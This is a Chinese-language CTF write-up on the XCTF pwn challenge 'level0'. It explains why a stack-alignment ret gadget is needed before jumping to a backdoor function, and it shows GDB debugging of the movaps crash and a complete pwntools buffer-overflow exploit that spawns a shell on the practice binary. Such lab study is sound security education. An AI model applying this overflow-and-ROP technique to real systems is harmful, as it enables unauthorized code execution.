攻防世界pwn-level0栈对齐
栈对齐ret地址学习
题目地址,攻防世界-题库-pwn-(搜索)level0
NewStarCTFweek2-ez_game中出现了栈对齐相关知识点,故特地前来学习,远程非常轻易就可打通,但是用同样的脚本在本地却无法打通,故本篇重点关注于本地调试、ret栈对齐等相关知识
先找出ret的地址,以便于结合IDA更好的查看和学习其原理,使用 ret_addr = hex(next(elf.search(asm('ret'))))寻找汇编指令ret(n)的地址
┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# cat test.py
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
ret_addr = next(elf.search(asm('ret')))
print(hex(ret_addr)) #hex()把整数转为16进制字符串
查找结果:
┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 336505
[*] '/root/Desktop/Adworld XCTF/level0/pwn'
...
0x400431 #找到的地址为0x400431
把找到的地址放入构造的payload中
ret_addr = hex(next(elf.search(asm('ret'))))
payload = b'a' * 136 + p64(ret_addr) + p64(backdoor_addr)
测试运行,本地打通
┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 95888
[*] '/root/Desktop/Adworld XCTF/level0/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
$ ls
core.327566 core.336505 core.387362 input.dat pwn test.py
$
[*] Interrupted
[*] Stopped process './pwn' (pid 95888)
在IDA中使用 Alt + T 查找ret,发现存在多条ret(n)汇编指令



通过尝试使用地址0x400549(另外一个ret指令地址)也可以打通,一个程序中通常存在多条ret指令,并且通过本题还可以发现,其寻找的结果为这些地址中的较低地址,即由低地址向高地址寻找,找到即返回结果(和IDA寻找的方式很相似呢)
进一步研究其对齐原理,gdb调试,需要输入payload,使用写入文件的方法构造,主要方便于用dbg调试时需要输入内容的操作
...
backdoor_addr = 0x400596
payload = b'a' * 136 + p64(backdoor_addr) #此为未进行栈对齐的payload
with open('./input.dat','wb') as file: #把构造的payload写入文件(二进制形式)
file.write(payload)
b main在主函数下断点,r < input.dat以文件输入运行,ni步过观察程序运行情况,最后程序卡在了这个位置,并给出了报错信息:[0x7ffffffffda58] not aigned to 16 bytes

分析其汇编指令
movaps xmmword ptr [rsp + 0x50], xmm0
这条指令使用了xxmm0寄存器,它的的功能是: 将xmm0中保存的单精度浮点数从xmm0移动至地址[rsp + 0x50]处 。
第二次调试修改了payload
payload = b'a' * 136 + p64(0x400549)+ p64(backdoor_addr)
当使用添加栈对齐地址(0x400549)的payload后,按照相同步骤调试,程序便不会再在原来的地方卡住,也没有看到报错的信息了

对比不进行栈对齐的执行结果来看,还会发现,rsp的最后一位数字为0了
通过分析文章和实验结果,可以得出结论:出错的指令使用了 XMM 寄存器,因此需要确保在执行这一指令时,rsp + 0x50 是 16 的倍数。直观地说,就是该地址(rsp)必须以数字 0 结尾。当引入了一个新地址(ret的地址)后,栈顶(rsp)被迫下移8个字节,使之对齐 16Byte (最后一位就为0了),由于插入的地址指向了 ret 指令,所以程序的仍然可以顺利地进入 vulnerable_function函数,且并不会影响程序后续的正常运行
以此类推,如果遇到了使用 YMM 或 ZMM 的 movaps 指令,我们依然可以用这套思考方式,找出进入后门函数前栈顶需要满足的条件,进而构造栈结构。
exp
from pwn import *
io = process('./pwn')
#io = remote('ip',port)
elf = ELF('./pwn')
io.recvuntil(b"World\n")
backdoor_addr = 0x400596
ret_addr = next(elf.search(asm('ret')))
#payload = b'a' * 136 + p64(backdoor_addr)
#payload = b'a' * 136 + p64(0x400549)+ p64(backdoor_addr)
payload = b'a' * 136 + p64(ret_addr) + p64(backdoor_addr)
#print(hex(ret_addr))
io.sendline(payload)
io.interactive()
'''
with open('./input.dat','wb') as file:
file.write(payload)
'''
文章参考:栈对齐—获取shell前的临门一脚

浙公网安备 33010602011771号